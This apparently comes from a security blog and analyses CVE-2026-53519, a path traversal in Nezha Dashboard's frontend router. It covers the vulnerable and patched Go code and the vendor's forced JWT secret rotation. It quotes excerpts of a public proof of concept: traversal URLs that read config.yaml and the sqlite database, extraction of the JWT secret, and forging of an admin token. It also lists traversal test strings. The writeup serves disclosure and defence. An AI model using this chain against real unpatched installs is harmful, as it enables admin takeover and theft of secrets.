//nefariousplan

CVE-2026-53519: Nezha's Dashboard Prefix Was Missing A Slash. The Same Patch Force-Rotates Every JWT Secret On Upgrade.

vendor

pattern

cve

proof of concept

Nezha Dashboard's pre-v2.0.13 frontend router gated the admin SPA on strings.HasPrefix(c.Request.URL.Path, "/dashboard") with no trailing slash. /dashboard../data/config.yaml matches; strings.TrimPrefix returns ../data/config.yaml; path.Join("admin-dist", "../data/config.yaml") returns data/config.yaml; http.ServeFile serves it. The file is the at-rest copy of jwt_secret_key. Two more reads pull the admin user id from data/sqlite.db and forge an HS256 JWT for /api/v1/profile. CVE-2026-53519, CVSS 9.1, fixed in commit e816e94f on May 25, 2026, inside a commit titled feat: server transfer rotation. The same commit added the constant JWTSecretKeyRotationBaselineVersion = "v2.0.13" and the method RotateJWTSecretKeyIfNeeded. Every install upgrading from a prior release now force-rotates the at-rest secret on first start. The path traversal was a missing slash. The rotation is what the vendor wrote when they decided every secret currently on disk was already gone.

The prefix check was missing a slash

Nezha Dashboard's fallbackToFrontend middleware in cmd/dashboard/controller/controller.go decides at the SPA-fallback layer whether an inbound request belongs to the admin frontend or the user frontend. Pre-patch:

if strings.HasPrefix(c.Request.URL.Path, "/dashboard") {
    stripPath := strings.TrimPrefix(c.Request.URL.Path, "/dashboard")
    localFilePath := path.Join(singleton.Conf.AdminTemplate, stripPath)
    if checkLocalFileOrFs(c, frontendDist, localFilePath, http.StatusOK) {
        return
    }
    ...
}

singleton.Conf.AdminTemplate defaults to the literal string "admin-dist" (see model/config.go line 189). strings.HasPrefix("/dashboard../data/config.yaml", "/dashboard") returns true. strings.TrimPrefix yields ../data/config.yaml. The handler does not inspect the trimmed segment; it hands the segment straight to path.Join.

The fix in commit e816e94f changes the prefix and writes the rationale in the same comment:

-		if strings.HasPrefix(c.Request.URL.Path, "/dashboard") {
-			stripPath := strings.TrimPrefix(c.Request.URL.Path, "/dashboard")
+		// Only /dashboard/ belongs to the admin frontend; /dashboard.. must not be trimmed into ../.
+		if strings.HasPrefix(c.Request.URL.Path, "/dashboard/") {
+			stripPath := strings.TrimPrefix(c.Request.URL.Path, "/dashboard/")

The maintainer's comment names exactly what the previous version did. The trailing slash converts the prefix from a substring-of-the-path test to an end-at-a-route-boundary test. /dashboard../... no longer satisfies the new check; the request falls through to the user-template branch, where the trimmed path is similarly sanitised by the rewritten file-serving helper described below.

path.Join finished the traversal

The gate was HasPrefix. The action was path.Join. The pre-patch checkLocalFileOrFs was a four-line shape this catalog already has a name for:

checkLocalFileOrFs := func(c *gin.Context, fs fs.FS, path string, customStatusCode int) bool {
    if _, err := os.Stat(path); err == nil {
        http.ServeFile(utils.NewGinCustomWriter(c, customStatusCode), c.Request, path)
        return true
    }
    ...
}

Go's path.Join is documented to call path.Clean on its result. path.Clean collapses .. segments against earlier path elements. path.Join("admin-dist", "../data/config.yaml") returns data/config.yaml. That string is the literal first argument to os.Stat and then to http.ServeFile. The process working directory at runtime is the Nezha install root, where data/config.yaml is the dashboard's persistent config file. The file exists. The webserver serves it.

This is the join-is-not-sandbox pattern, the URL-path sibling of the Go filepath case the catalog already carries in Casdoor's GetFullPath. The standard-library helper composes a base directory and a caller-supplied segment; the developer reads the composition as scoping and the library defines it as normalising. Nezha uses path instead of filepath because URL paths are slash-only, but the cleaning semantics on .. are identical. Same family of bug, same shape of fix.

The fix does not stop at the slash. v2.0.13 ships Go 1.24, and the rewritten checkLocalFileOrFs reaches for the sandbox primitive the Join family does not export:

checkLocalFileOrFs := func(c *gin.Context, frontendFS fs.FS, templateRoot, filePath string, customStatusCode int) bool {
    if filePath != "" {
        localRoot, err := os.OpenRoot(templateRoot)
        if err == nil {
            defer localRoot.Close()
            // URL paths must stay inside the selected template root; never join them against the process cwd.
            if file, err := localRoot.Open(filePath); err == nil && serveFile(c, filePath, file, customStatusCode) {
                return true
            }
        }
    }
    if !fs.ValidPath(filePath) {
        return false
    }
    ...
}

os.OpenRoot returns a root-jailed filesystem handle that refuses traversal at the kernel openat2 call. fs.ValidPath independently rejects path segments containing ... templateRoot and filePath are passed as separate arguments; the caller no longer composes them with path.Join. The trailing slash on the prefix check would have closed the demonstrated PoC by itself. The vendor declined to ship just the slash, then declined to ship just the slash plus a startswith check, then declined to ship path.Join at all in the file-serving path. The pattern's prior exhibits (Casdoor in Go, DbGate in Node, AIT-Core in Python) reach for Rel + prefix or realpath + startswith. Nezha reaches for os.OpenRoot, the newest of the three sandbox primitives. Pattern, three answers.

data/config.yaml is the JWT signing key

The PoC at tar-xz/CVE-2026-53519-PoC is sixty lines. The chain is four requests:

# 1. Path traversal: pull config.yaml
cfg = urllib.request.urlopen(f"{url}/dashboard%2e%2e/data/config.yaml", timeout=10).read()
secret = re.search(rb'jwt_secret_key:\s*["\']?(.*?)["\']?(?:\r|\n|$)', cfg).group(1).decode()

# 2. Path traversal: pull the sqlite database
db = urllib.request.urlopen(f"{url}/dashboard%2e%2e/data/sqlite.db", timeout=15).read()

# 3. Pull admin user_id from the sqlite database
uid = str(conn.execute("SELECT id FROM users ORDER BY id LIMIT 1").fetchone()[0])

# 4. Forge an HS256 JWT with the leaked secret, hit /api/v1/profile
p = b64(json.dumps({"user_id": uid, "ip": "", "exp": now + 3600, "orig_iat": now}).encode())
s = b64(hmac.new(secret.encode(), f"{h}.{p}".encode(), hashlib.sha256).digest())
token = f"{h}.{p}.{s}"
req = urllib.request.Request(f"{url}/api/v1/profile", headers={"Authorization": f"Bearer {token}"})

The %2e%2e encoding is cosmetic; Go's net/http decodes percent-escapes in URL.Path before middleware sees it. The new regression test at cmd/dashboard/controller/frontend_fallback_test.go proves the equivalence by enumerating six variants against /dashboard.. and five against the user root:

tests := []string{
    "/dashboard../data/config.yaml",
    "/dashboard%2e%2e/data/config.yaml",
    "/dashboard%2e%2e%2fdata%2fconfig.yaml",
    "/dashboard/../data/config.yaml",
    "/dashboard/%2e%2e/data/config.yaml",
    "/dashboard../assets/app.js",
}

Each variant is a separate t.Run that asserts traversal-secret and jwt_secret_key do not appear in the response body. The test fixture writes the bait file at data/config.yaml containing jwt_secret_key: traversal-secret. The vendor named the test class TestFallbackToFrontendBlocksDashboardTraversal. The advisory at GHSA-5c25-7vpj-9mqh describes the issue as "improper handling of dashboard routing and path normalisation." The repository's own test name calls it traversal.

The forged-token half of the chain works because of the pre-patch JWT shape. At the time of the bug, cmd/dashboard/controller/jwt.go signed with HS256 under the key read from singleton.Conf.JWTSecretKey and accepted any token whose claims included user_id and a future exp. There was no per-session row in a server-side table, no keyId claim, no IP binding enforced server-side beyond claim equality, and no TokenVersion check. Holding the secret was holding admin.

That changes the next day. Commit 2bf0475b, dated May 26, 2026 (twenty hours after the path-traversal fix), is titled feat(jwt): server-side session table with keyId + obfuscated uid claims. The commit message states the design intent in one sentence: "a leaked JWT secret alone is no longer enough to forge a token." The May 25 patch closes the way the secret leaks. The May 26 refactor changes what holding the secret gets you. The two are consecutive entries in the same maintainer's git history, in the same release branch, separated by a workday.

The constant in model/config.go is the admission

Buried inside the same e816e94f commit that fixed the prefix check is a new exported constant in model/config.go:

const (
    ConfigUsePeerIP                     = "NZ::Use-Peer-IP"
    JWTSecretKeyRotationBaselineVersion = "v2.0.13"
)

And a new method on Config:

func (c *Config) RotateJWTSecretKeyIfNeeded(currentVersion string) (bool, error) {
    if c.jwtSecretFromEnv {
        return false, nil
    }
    currentVersion = strings.TrimSpace(currentVersion)
    if compareVersion(currentVersion, JWTSecretKeyRotationBaselineVersion) < 0 {
        return false, nil
    }
    initialMarker := c.JWTSecretKeyLastRotatedVersion
    shouldRotate := c.JWTSecretKeyLastRotatedVersion == "" ||
        compareVersion(c.JWTSecretKeyLastRotatedVersion, JWTSecretKeyRotationBaselineVersion) < 0
    if shouldRotate {
        secret, err := utils.GenerateRandomString(1024)
        if err != nil {
            return false, err
        }
        c.JWTSecretKey = secret
    }
    ...
}

RotateJWTSecretKeyIfNeeded runs once per process start, called from service/singleton/config.go. If the secret was injected from the NZ_JWTSECRETKEY environment variable, the rotator does nothing. If the secret lives in data/config.yaml, and the install has never been marked as rotated past v2.0.13, the rotator generates a new 1024-character key, patches the YAML in place, and stamps jwt_secret_key_last_rotated_version: v2.0.13 next to it. The next dashboard process on every install upgrading from v2.0.12 or earlier reads a different jwt_secret_key than the file that was sitting on disk.

The rotation triggers regardless of whether the install was ever scanned, regardless of whether data/config.yaml was ever served to a caller, regardless of whether the operator believes the dashboard sits behind a private LAN. The conditional is the version of the on-disk marker, not any forensic evidence of exposure. The vendor's threat model declared the at-rest secret category-burned for every install that ever ran a pre-v2.0.13 binary. The codebase declared the cost of cleanup.

The startup-log path that loads the secret from YAML carries the second admission. The pre-existing line, untouched by this commit, prints on every boot where the YAML key is set:

NEZHA>> jwt_secret_key loaded from config.yaml; recommend injecting via env NZ_JWTSECRETKEY to keep it off disk

The recommended path is the env variable. The bug demonstrates why. The patch makes the recommendation retroactive: every install that was running an at-rest secret on May 24 has a new at-rest secret on first start under v2.0.13, with no operator action required, and no operator notification beyond a log line that ships verbatim with the unfixed code too.

The fix shipped inside a feature commit

Commit e816e94f is dated May 25, 2026, 10:15 UTC, authored by naiba <[email protected]>. The commit message is feat: server transfer rotation. The diff touches thirty-three files. The path-traversal patch, the os.OpenRoot rewrite, the regression test suite at frontend_fallback_test.go, the RotateJWTSecretKeyIfNeeded method, the JWTSecretKeyRotationBaselineVersion constant, and the test class at service/singleton/config_test.go named TestInitConfigFromPathRotatesJWTSecretKey are all in that one commit, beside a feature for rotating server-transfer requests in the admin UI. A reader scanning the v2.0.12-to-v2.0.13 diff for the security fix has to know the commit titled "server transfer rotation" is also the dashboard-traversal fix and the JWT-secret rotation rollout. The CVE record at MITRE points readers at GHSA-5c25-7vpj-9mqh. The advisory describes "improper handling of dashboard routing and path normalisation." It does not name path.Join. It does not name JWTSecretKeyRotationBaselineVersion. The patch does both.

The PoC at tar-xz/CVE-2026-53519-PoC published on June 16, 2026, three weeks after the fix and a day after the CVE was assigned. The repository is sixty lines of Python and a README that lists the chain in order. The chain works against any Nezha install still on a pre-v2.0.13 binary; every operator who upgraded to v2.0.13 by then has a rotated secret and a route check that ends at the slash. Every operator who did not is running the unfixed code with a secret in data/config.yaml that the vendor's own rotation logic, sitting in the next release tag, treats as gone.

PoC: tar-xz/CVE-2026-53519-PoC

The prefix was missing a slash. The rotation is the receipt.